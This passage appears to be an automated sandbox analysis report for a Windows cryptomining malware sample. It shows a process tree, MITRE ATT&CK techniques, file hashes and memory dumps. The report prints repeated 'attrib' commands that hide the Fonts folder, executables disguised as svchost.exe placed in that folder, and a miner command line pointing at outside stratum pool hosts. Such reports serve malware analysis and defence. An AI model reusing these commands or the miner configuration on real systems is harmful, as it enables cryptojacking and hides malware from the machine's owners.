4⤵
- Views/modifies file attributes
PID:2792

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2940

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4056

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4412

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2084

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3684

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4968

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4088

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1020

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2260

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:208

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2896

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:3624

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4652

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:1916

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4672

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3532

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3228

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:3732

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1856

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1732

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2100

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4004

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1164

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:3068

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe
1⤵
- Executes dropped EXE
PID:2020

\??\c:\windows\Fonts\dl1hots.exe
"dl1hots" -o stratum+tcp://my.cloudbase-init.pw:9001 -u Admin -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=3 --nicehash -o stratum+tcp://mys.cloudbase-init.pw:9009 -u Admin -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=3 --nicehash
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5056

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Hidden Files and Directories

T1158

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tem.vbs
Filesize
275B

MD5
68416e79c8377392e4b42c88ee39e646

SHA1
6e5b53d68cd68887b8e79c30ae3250ad4de8c2fe

SHA256
369f620f0e615ecc9a2d9512f7e11593c0aafd00f40cbe044bf3300e7d60973b

SHA512
5399532b4463afa82b221cb745885ba0ace8f9287902914857ce949ae11c966fcdff41be407498a3a33b350a4b57bee0865e5e636335d54cf639540c77b259fc

Download Submit
C:\Windows\Fonts\conhost.exe
Filesize
7.1MB

MD5
237eb7af33f6868ac491d3f863b665af

SHA1
3ba8ce3b995dccc29f708bcf27d653d4b72c0170

SHA256
7ec058823054efeb75c089cc3e9548308139987d81c163207697c2d022647584

SHA512
7dedf81b610e5b35eac055e32d3513e066ffd2bb0ee8945fb9c596407c2182a24c8520229febb127a0a087c9ff4d388132f542c4800833b051045c9ec26f6313

Download Submit
C:\Windows\Fonts\dl1hots.exe
Filesize
2.5MB

MD5
4eb583cd5a938cd29d06fb6f9099557a

SHA1
8a34c0076b309c0827d7ea31dcdc3d90d27be1c0

SHA256
e7dd833560b569a366a1fae109238370178ce5f67692d645a43d39caf6a3e49d

SHA512
c6a6d3c736dfe5b0ccf3c6a5de3328a636cc8b14193ba27c8e46e02e05039e18b677f833d9bc917a0e6dee72dcd1f09a4fbf6297552041df2fad8e4fde9bbb73

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
C:\Windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
\??\c:\windows\Fonts\conhost.exe
Filesize
7.1MB

MD5
237eb7af33f6868ac491d3f863b665af

SHA1
3ba8ce3b995dccc29f708bcf27d653d4b72c0170

SHA256
7ec058823054efeb75c089cc3e9548308139987d81c163207697c2d022647584

SHA512
7dedf81b610e5b35eac055e32d3513e066ffd2bb0ee8945fb9c596407c2182a24c8520229febb127a0a087c9ff4d388132f542c4800833b051045c9ec26f6313

Download Submit
\??\c:\windows\Fonts\dl1hots.exe
Filesize
2.5MB

MD5
4eb583cd5a938cd29d06fb6f9099557a

SHA1
8a34c0076b309c0827d7ea31dcdc3d90d27be1c0

SHA256
e7dd833560b569a366a1fae109238370178ce5f67692d645a43d39caf6a3e49d

SHA512
c6a6d3c736dfe5b0ccf3c6a5de3328a636cc8b14193ba27c8e46e02e05039e18b677f833d9bc917a0e6dee72dcd1f09a4fbf6297552041df2fad8e4fde9bbb73

Download Submit
\??\c:\windows\Fonts\svchost.exe
Filesize
87KB

MD5
3215a773eecd1089babe6b9975086ebd

SHA1
6f28080e58149aeb72dfd0f2568ce80de4eff43c

SHA256
516319905545cf575de3322f7733d99d5293df4a38d46fccf1a41e23b64d2d6c

SHA512
664c519958fa80bb266764bf58543e9bd67665b540a78b9e7db4f25729c00fefbe5768a4fe75fa0b7905b19c9a02ba88b09e1eaef578593d5e97f450e22227ad

Download Submit
memory/64-186-0x0000000000000000-mapping.dmp

Download
memory/316-209-0x0000000000000000-mapping.dmp

Download
memory/444-135-0x0000000000000000-mapping.dmp

Download
memory/456-212-0x0000000000000000-mapping.dmp

Download
memory/508-151-0x0000000000000000-mapping.dmp

Download
memory/1100-166-0x0000000000000000-mapping.dmp

Download
memory/1244-159-0x0000000000000000-mapping.dmp

Download
memory/1312-214-0x0000000000000000-mapping.dmp

Download
memory/1364-130-0x0000000000000000-mapping.dmp

Download
memory/1460-165-0x0000000000000000-mapping.dmp

Download
memory/1484-131-0x0000000000000000-mapping.dmp

Download
memory/1548-202-0x0000000000000000-mapping.dmp

Download
memory/1604-136-0x0000000000000000-mapping.dmp

Download
memory/1620-190-0x0000000000000000-mapping.dmp

Download
memory/1620-132-0x0000000000000000-mapping.dmp

Download
memory/1632-138-0x0000000000000000-mapping.dmp

Download
memory/1644-213-0x0000000000000000-mapping.dmp

Download
memory/1656-133-0x0000000000000000-mapping.dmp

Download
memory/1688-200-0x0000000000000000-mapping.dmp

Download
memory/1724-192-0x0000000000000000-mapping.dmp

Download
memory/1856-188-0x0000000000000000-mapping.dmp

Download
memory/1868-170-0x0000000000000000-mapping.dmp

Download
memory/1884-183-0x0000000000000000-mapping.dmp

Download
memory/1968-143-0x0000000000000000-mapping.dmp

Download
memory/2096-140-0x0000000000000000-mapping.dmp

Download
memory/2120-187-0x0000000000000000-mapping.dmp

Download
memory/2400-201-0x0000000000000000-mapping.dmp

Download
memory/2488-175-0x0000000000000000-mapping.dmp

Download
memory/2576-194-0x0000000000000000-mapping.dmp

Download
memory/2580-158-0x0000000000000000-mapping.dmp

Download
memory/2788-145-0x0000000000000000-mapping.dmp

Download
memory/2956-207-0x0000000000000000-mapping.dmp

Download
memory/2976-171-0x0000000000000000-mapping.dmp

Download
memory/2996-144-0x0000000000000000-mapping.dmp

Download
memory/3004-177-0x0000000000000000-mapping.dmp

Download
memory/3044-176-0x0000000000000000-mapping.dmp

Download
memory/3056-174-0x0000000000000000-mapping.dmp

Download
memory/3184-208-0x0000000000000000-mapping.dmp

Download
memory/3184-139-0x0000000000000000-mapping.dmp

Download
memory/3228-191-0x0000000000000000-mapping.dmp

Download
memory/3372-150-0x0000000000000000-mapping.dmp

Download
memory/3384-137-0x0000000000000000-mapping.dmp

Download
memory/3452-185-0x0000000000000000-mapping.dmp

Download
memory/3604-147-0x0000000000000000-mapping.dmp

Download
memory/3820-181-0x0000000000000000-mapping.dmp

Download
memory/3980-179-0x0000000000000000-mapping.dmp

Download
memory/4180-162-0x0000000000000000-mapping.dmp

Download
memory/4288-173-0x0000000000000000-mapping.dmp

Download
memory/4340-134-0x0000000000000000-mapping.dmp

Download
memory/4416-197-0x0000000000000000-mapping.dmp

Download
memory/4564-154-0x0000000000000000-mapping.dmp

Download
memory/4660-164-0x0000000000000000-mapping.dmp

Download
memory/4716-211-0x0000000000000000-mapping.dmp

Download
memory/4724-141-0x0000000000000000-mapping.dmp

Download
memory/4732-142-0x0000000000000000-mapping.dmp

Download
memory/4740-168-0x0000000000000000-mapping.dmp

Download
memory/4752-210-0x0000000000000000-mapping.dmp

Download
memory/4828-198-0x0000000000000000-mapping.dmp

Download
memory/4876-172-0x0000000000000000-mapping.dmp

Download
memory/4900-169-0x0000000000000000-mapping.dmp

Download
memory/4996-146-0x0000000000000000-mapping.dmp

Download
memory/5040-153-0x0000000000000000-mapping.dmp

Download
memory/5056-206-0x000002DFC55F0000-0x000002DFC5600000-memory.dmp

Filesize
64KB

Download
memory/5056-203-0x0000000000000000-mapping.dmp

Download
memory/5068-167-0x0000000000000000-mapping.dmp

Download